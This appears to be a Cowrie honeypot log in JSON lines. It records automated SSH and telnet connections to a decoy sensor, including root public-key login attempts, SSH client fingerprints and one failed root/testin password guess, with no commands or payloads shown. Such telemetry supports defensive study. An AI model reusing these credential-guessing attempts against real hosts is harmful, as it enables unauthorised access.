{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:28:b7:b5:62:5c:0f:1d:42:1a:54:15:64:1c:4b:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtG1MSsgQjDHbHRicgpLZMrQFE6mAJ5WvYeNGWfYp6zcDqyU9r6kK2qyKWcdy9ASe+nDA2mRwZOV1UxQbPJLwQgkjt3Yjgf2wh1jS0kUO2TBTll0g/xhpCgjA1jpwVwdb+iQ6fhuVG+AJc84kj+JMukXk+7aAdiOfxy31hsrYSYYzcMhg3eAmDWZIMLc1pHhUaQ9EFanzv1dytPZOWwnLv0yi3kGH2fk9ABQ0SwesZWkigTzjy7WOP+SmG8BUKmlwnFzbnqr4OG1dnquN4NSyVjp6W/kOi6ThsyU2+F3JBEUOX7wwTElOYVVPV+Pv8D2gz5IhMLzv0ZH3cx5QYEKBqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.016432Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10767674446106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.044246Z","src_ip":"50.6.3.16","session":"ab91aa084e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36704,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6feacc43dd","protocol":"telnet","message":"New connection: 50.6.3.16:36704 (10.17.0.5:23) [session: 9e6feacc43dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.052960Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:7e:ca:1a:ff:0c:6a:1b:fb:ab:d1:7c:4e:04:06:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU84SPXzkK9l1vqN5WhLJiHYeAPbbXGEJnRFAtUcSJX1wRKH5leg6o0qDgxNcKOzhdJkLpnlOzLWvgtpm4u487SWAIHQZvOCJ+JjcOnNa0RWWohz0mpG8tw4v2Cm6CFYRW0TJcZMaaJ1aE5ysCrgQD+8MB+O75p+NLWfVHrIe5cyyR8W8euq8pX0djHu7av2mkixQP/GpHUsMWRGo9lMfOvIJVfXeSWK6pvpE4P8kKXHmfkM1ZVP3k/GR9oUNHpQRNLrHm20sV6Ux0aUUltIrIOidyasFsFnAvnnOk8fUmPAFVvhT4R4aP7d0eXV5Bzzzmm1FIu8dVIvgEpHoXBrB7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:7e:ca:1a:ff:0c:6a:1b:fb:ab:d1:7c:4e:04:06:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.105063Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:7e:ca:1a:ff:0c:6a:1b:fb:ab:d1:7c:4e:04:06:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU84SPXzkK9l1vqN5WhLJiHYeAPbbXGEJnRFAtUcSJX1wRKH5leg6o0qDgxNcKOzhdJkLpnlOzLWvgtpm4u487SWAIHQZvOCJ+JjcOnNa0RWWohz0mpG8tw4v2Cm6CFYRW0TJcZMaaJ1aE5ysCrgQD+8MB+O75p+NLWfVHrIe5cyyR8W8euq8pX0djHu7av2mkixQP/GpHUsMWRGo9lMfOvIJVfXeSWK6pvpE4P8kKXHmfkM1ZVP3k/GR9oUNHpQRNLrHm20sV6Ux0aUUltIrIOidyasFsFnAvnnOk8fUmPAFVvhT4R4aP7d0eXV5Bzzzmm1FIu8dVIvgEpHoXBrB7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.109286Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:d6:4d:5f:d8:43:9c:21:35:a1:e9:1d:d6:62:fa:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxA7rcBS+7xRuoApLR233yUsyZYhTbE0SpXv+Odoz2DDOlBhqZ57XUHEDK6U/Tw/i1rMkNnRKzui19Sl3XH//+PZh5Xfoursp2SqbN+q10yUWXKHs7XrGIq0HniUMy6RTLeAbxchV+uNf3eE1hZ7GcxcowrF2UxuPMomipKW/C82nAHSzTWBC1LwYNMj6Iti8c1iANPESuEzP9uVQBUXEjy3eQaYwWFxhCGA8Xo6buPqqh1tK5y/xrafLKsAfKPMdt/xpsaYuMZemjt/lkHpXrQWOU00r4CIVIMRLrUbIBnKG/RXAGUT22lFX/jyUGsUWSEoBh+E1n9WpCh3RsjGFxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:d6:4d:5f:d8:43:9c:21:35:a1:e9:1d:d6:62:fa:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.200633Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:d6:4d:5f:d8:43:9c:21:35:a1:e9:1d:d6:62:fa:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxA7rcBS+7xRuoApLR233yUsyZYhTbE0SpXv+Odoz2DDOlBhqZ57XUHEDK6U/Tw/i1rMkNnRKzui19Sl3XH//+PZh5Xfoursp2SqbN+q10yUWXKHs7XrGIq0HniUMy6RTLeAbxchV+uNf3eE1hZ7GcxcowrF2UxuPMomipKW/C82nAHSzTWBC1LwYNMj6Iti8c1iANPESuEzP9uVQBUXEjy3eQaYwWFxhCGA8Xo6buPqqh1tK5y/xrafLKsAfKPMdt/xpsaYuMZemjt/lkHpXrQWOU00r4CIVIMRLrUbIBnKG/RXAGUT22lFX/jyUGsUWSEoBh+E1n9WpCh3RsjGFxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.205025Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:30:17:cc:49:61:52:22:20:71:b2:90:18:eb:34:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2VBEvjWAZZszwjaNj4DesX5A4R+8/wM5KcSCWv+j2IBa12otEVQQJIQDrnP9OxuIXNBOk62m00777NM30pM3BLyN5F9AnfVt+4cvGzeHcDXkRUgT/R57iuvFF9H4TYcTIuOkIWjhUJ9LgYAVS0d2XmA5KwrGfE6rYxT3bdpjLAmpJQrXlw1nq4liYLQaYgc0jhRbzrQyChCCDiHGwfhnyGzhIF/ltgUSDlXu8LE3JtYNHBlf6x8yk7XF2uGu3k6sNh0LEOzslT+ziB9m90BAomHjTdtvbJpXQcjGpglMbavL45A972wy/9YcfwUCSf+Mw5tSt5eaVaevz/a+pLC5I7WF050qP3vfY31TSn6W/nBsbFmsAsrr0YOv9Y060RTgxN2i+maC2tkK6lfPzsdOktLz1iTwyWAMsfrHBKEbtCcoFfk+TRuvVW8bxTaB0+AoQlApCk4+G6S15kAQEZibtdWZdaZcMZO+6SuPz1lMphh2O5oLn+0E/tvOmpf1fg/U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:30:17:cc:49:61:52:22:20:71:b2:90:18:eb:34:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.292948Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:30:17:cc:49:61:52:22:20:71:b2:90:18:eb:34:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2VBEvjWAZZszwjaNj4DesX5A4R+8/wM5KcSCWv+j2IBa12otEVQQJIQDrnP9OxuIXNBOk62m00777NM30pM3BLyN5F9AnfVt+4cvGzeHcDXkRUgT/R57iuvFF9H4TYcTIuOkIWjhUJ9LgYAVS0d2XmA5KwrGfE6rYxT3bdpjLAmpJQrXlw1nq4liYLQaYgc0jhRbzrQyChCCDiHGwfhnyGzhIF/ltgUSDlXu8LE3JtYNHBlf6x8yk7XF2uGu3k6sNh0LEOzslT+ziB9m90BAomHjTdtvbJpXQcjGpglMbavL45A972wy/9YcfwUCSf+Mw5tSt5eaVaevz/a+pLC5I7WF050qP3vfY31TSn6W/nBsbFmsAsrr0YOv9Y060RTgxN2i+maC2tkK6lfPzsdOktLz1iTwyWAMsfrHBKEbtCcoFfk+TRuvVW8bxTaB0+AoQlApCk4+G6S15kAQEZibtdWZdaZcMZO+6SuPz1lMphh2O5oLn+0E/tvOmpf1fg/U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.297078Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:16.385999Z","src_ip":"198.20.127.221","session":"8ce5e8cc1d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36164,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3749e1ccb4","protocol":"telnet","message":"New connection: 50.6.3.16:36164 (10.17.0.5:23) [session: 3e3749e1ccb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:19.450902Z"}
{"eventid":"cowrie.session.closed","duration":30.453243017196655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:19.835564Z","src_ip":"50.6.3.16","session":"a3dc541b9835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076812982559204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:20.049041Z","src_ip":"50.6.3.16","session":"ba253b2c5606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36176,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63e3c03fd45","protocol":"telnet","message":"New connection: 50.6.3.16:36176 (10.17.0.5:23) [session: a63e3c03fd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:20.768269Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da3c6020dde","protocol":"telnet","message":"New connection: 50.6.3.16:36198 (10.17.0.5:23) [session: 6da3c6020dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.114192Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":35646,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7b33cbbf7a","protocol":"ssh","message":"New connection: 4.213.160.153:35646 (159.203.135.109:22) [session: 0a7b33cbbf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.352883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.523011Z","src_ip":"4.213.160.153","session":"0a7b33cbbf7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.704789Z","src_ip":"4.213.160.153","session":"0a7b33cbbf7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.2725031375885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.713635Z","src_ip":"50.6.3.16","session":"585a559ba1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36204,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a605dba758","protocol":"telnet","message":"New connection: 50.6.3.16:36204 (10.17.0.5:23) [session: 68a605dba758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:22.788036Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36208,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7523247c0ca","protocol":"telnet","message":"New connection: 50.6.3.16:36208 (10.17.0.5:23) [session: d7523247c0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:23.351092Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testin","message":"login attempt [root/testin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:23.476302Z","src_ip":"4.213.160.153","session":"0a7b33cbbf7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c18275dce93","protocol":"telnet","message":"New connection: 50.6.3.16:36222 (10.17.0.5:23) [session: 8c18275dce93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:23.513908Z"}
{"eventid":"cowrie.session.closed","duration":30.09651207923889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:23.553444Z","src_ip":"50.6.3.16","session":"84faa1a260a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36186,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc82ed2fd68","protocol":"telnet","message":"New connection: 50.6.3.16:36186 (10.17.0.5:23) [session: ccc82ed2fd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:24.298138Z"}
{"eventid":"cowrie.session.closed","duration":31.08569645881653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:24.419262Z","src_ip":"50.6.3.16","session":"9841f938a7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:24.662637Z","src_ip":"4.213.160.153","session":"0a7b33cbbf7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"316ff5b6c22d","protocol":"telnet","message":"New connection: 50.6.3.16:36228 (10.17.0.5:23) [session: 316ff5b6c22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:25.139608Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45116,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e711fcd679b","protocol":"telnet","message":"New connection: 50.6.3.16:45116 (10.17.0.5:23) [session: 4e711fcd679b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:30.443625Z"}
{"eventid":"cowrie.session.closed","duration":31.12794327735901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:31.141762Z","src_ip":"50.6.3.16","session":"33680203a1a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45124,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d0b7118b817","protocol":"telnet","message":"New connection: 50.6.3.16:45124 (10.17.0.5:23) [session: 3d0b7118b817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:31.312090Z"}
{"eventid":"cowrie.session.closed","duration":31.97312331199646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:31.517063Z","src_ip":"50.6.3.16","session":"f8873974de83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104971647262573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:32.040761Z","src_ip":"50.6.3.16","session":"12587c3287a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acf7c97eaaa","protocol":"telnet","message":"New connection: 50.6.3.16:45140 (10.17.0.5:23) [session: 7acf7c97eaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:32.046263Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"699c382f1d99","protocol":"telnet","message":"New connection: 50.6.3.16:45144 (10.17.0.5:23) [session: 699c382f1d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:32.226591Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45150,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e79ebee6731","protocol":"telnet","message":"New connection: 50.6.3.16:45150 (10.17.0.5:23) [session: 7e79ebee6731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:32.409680Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68831d75f05","protocol":"telnet","message":"New connection: 50.6.3.16:45160 (10.17.0.5:23) [session: a68831d75f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:32.505141Z"}
{"eventid":"cowrie.session.closed","duration":31.069563388824463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:33.473145Z","src_ip":"50.6.3.16","session":"331eddfef75d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45164,"dst_ip":"10.17.0.5","dst_port":23,"session":"64430ea44e0b","protocol":"telnet","message":"New connection: 50.6.3.16:45164 (10.17.0.5:23) [session: 64430ea44e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:33.685259Z"}
{"eventid":"cowrie.session.closed","duration":31.12351417541504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:33.693767Z","src_ip":"50.6.3.16","session":"4828df49fe0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45168,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bc0e961487","protocol":"telnet","message":"New connection: 50.6.3.16:45168 (10.17.0.5:23) [session: 96bc0e961487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:34.649266Z"}
{"eventid":"cowrie.session.closed","duration":30.598066091537476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:34.687885Z","src_ip":"50.6.3.16","session":"8c971a09e53b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45184,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cbe43a9271","protocol":"telnet","message":"New connection: 50.6.3.16:45184 (10.17.0.5:23) [session: 58cbe43a9271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:35.130342Z"}
{"eventid":"cowrie.session.closed","duration":30.60152769088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:35.573556Z","src_ip":"50.6.3.16","session":"0ca88b7b7acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69087290763855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:35.810767Z","src_ip":"50.6.3.16","session":"3666cf0b8f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570284128189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:35.872957Z","src_ip":"50.6.3.16","session":"30da2a1a1381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45192,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bcd44e9abfa","protocol":"telnet","message":"New connection: 50.6.3.16:45192 (10.17.0.5:23) [session: 3bcd44e9abfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:36.118734Z"}
{"eventid":"cowrie.session.closed","duration":30.13233494758606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:36.566513Z","src_ip":"50.6.3.16","session":"47c58677bc04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45200,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8093194375","protocol":"telnet","message":"New connection: 50.6.3.16:45200 (10.17.0.5:23) [session: 6f8093194375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:36.637099Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45214,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9a7ef93a53f","protocol":"telnet","message":"New connection: 50.6.3.16:45214 (10.17.0.5:23) [session: c9a7ef93a53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:36.933708Z"}
{"eventid":"cowrie.session.closed","duration":31.28679871559143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:37.359804Z","src_ip":"50.6.3.16","session":"8a042205d005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717435836791992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:39.201839Z","src_ip":"50.6.3.16","session":"289c4cbc4af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008437156677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:39.326145Z","src_ip":"50.6.3.16","session":"e0a34c08b430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45004916191101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:39.756695Z","src_ip":"50.6.3.16","session":"0302660c2775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58736,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a33c7ce2d3","protocol":"telnet","message":"New connection: 50.6.3.16:58736 (10.17.0.5:23) [session: 76a33c7ce2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:40.313749Z"}
{"eventid":"cowrie.session.closed","duration":31.20967984199524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:41.158836Z","src_ip":"50.6.3.16","session":"baca44265ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.500247478485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:42.240930Z","src_ip":"50.6.3.16","session":"aadf8538291d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58748,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b71dddf41a9","protocol":"telnet","message":"New connection: 50.6.3.16:58748 (10.17.0.5:23) [session: 8b71dddf41a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:42.679811Z"}
{"eventid":"cowrie.session.closed","duration":31.118953227996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:43.336101Z","src_ip":"50.6.3.16","session":"2bcb3a281fa6","protocol":"telnet"}
